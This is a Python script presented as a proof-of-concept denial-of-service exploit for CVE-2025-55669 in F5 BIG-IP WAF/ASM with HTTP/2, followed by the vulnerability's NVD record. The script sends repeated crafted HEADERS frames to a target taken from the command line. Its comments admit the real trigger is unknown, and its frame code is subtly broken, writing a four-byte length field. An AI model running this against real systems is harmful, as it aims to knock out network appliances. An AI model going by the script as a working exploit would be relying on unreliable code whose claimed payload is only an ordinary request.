CVE-2025-55669

# CVE-2025-55669 PoC - F5 BIG-IP WAF/ASM + HTTP/2 TMM DoS # Note: This is a conceptual PoC. F5 has not disclosed specific trigger patterns. # The vulnerability is triggered by crafted HTTP/2 traffic through a virtual server # configured with both Advanced WAF/ASM security policy and server-side HTTP/2 profile. import socket import ssl import struct def build_http2_connection_preface(): """Build HTTP/2 client connection preface""" preface = b"PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n" # SETTINGS frame settings = b"\x00\x00\x00\x04" # Length: 4 settings += b"\x04" # Type: SETTINGS settings += b"\x00" # Flags: none settings += b"\x00\x00\x00\x00" # Stream ID: 0 settings += b"\x00\x03\x00\x00\x00\x64" # MAX_CONCURRENT_STREAMS: 100 return preface + settings def build_malicious_http2_frame(stream_id, payload): """Build a potentially malicious HTTP/2 frame targeting WAF/ASM processing""" length = len(payload) frame = struct.pack(">I", length) # Length frame += b"\x01" # Type: HEADERS frame += b"\x01" # Flags: END_STREAM frame += struct.pack(">I", stream_id & 0x7FFFFFFF) # Stream ID frame += payload return frame def exploit(target_host, target_port, use_tls=True): """ Send crafted HTTP/2 traffic to trigger TMM termination. Target must have Advanced WAF/ASM + server-side HTTP/2 profile configured. """ sock = socket.create_connection((target_host, target_port)) if use_tls: context = ssl.create_default_context() context.set_alpn_protocols(["h2"]) sock = context.wrap_socket(sock, server_hostname=target_host) # Send HTTP/2 connection preface sock.send(build_http2_connection_preface()) # Send crafted HEADERS frame with unusual patterns # The exact trigger pattern is undisclosed by F5 malicious_payload = b"\x82\x86\x84\x41\x8a\x08\x9d\x5c\x0b\x81\x70\xdc\x78\x0f\x03" for i in range(50): sock.send(build_malicious_http2_frame(i + 1, malicious_payload)) sock.close() print(f"[*] Malicious HTTP/2 traffic sent to {target_host}:{target_port}") if __name__ == "__main__": # Usage: python poc.py <target_host> <target_port> # Target must have BIG-IP virtual server with WAF/ASM + HTTP/2 profile import sys if len(sys.argv) >= 3: exploit(sys.argv[1], int(sys.argv[2])) else: print("Usage: python poc.py <target_host> <target_port>") print("Note: Target must have BIG-IP WAF/ASM + server-side HTTP/2 profile")

{"cve": {"id": "CVE-2025-55669", "sourceIdentifier": "[email protected]", "published": "2025-10-15T14:15:51.767", "lastModified": "2025-10-22T19:18:59.580", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "When the BIG-IP Advanced WAF and ASM security policy and a server-side HTTP/2 profile are configured on a virtual server, undisclosed traffic can cause the Traffic Management Microkernel (TMM) to terminate.  Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "LOW", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-672"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-672"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:f5:big-ip_application_security_manager:*:*:*:*:*:*:*:*", "versionStartIncluding": "16.1.0", "versionEndExcluding": "16.1.6", "matchCriteriaId": "A7B760A6-59A8-46E1-9CA1-23FA27982705"}, {"vulnerable": true, "criteria": "cpe:2.3:a:f5:big-ip_application_security_manager:*:*:*:*:*:*:*:*", "versionStartIncluding": "17.1.0", "versionEndIncluding": "17.1.2", "matchCriteriaId": "CFAB244B-6D1C-40D1-996C-EEAF9132E0AB"}]}]}], "references": [{"url": "https://my.f5.com/manage/s/article/K000150752", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}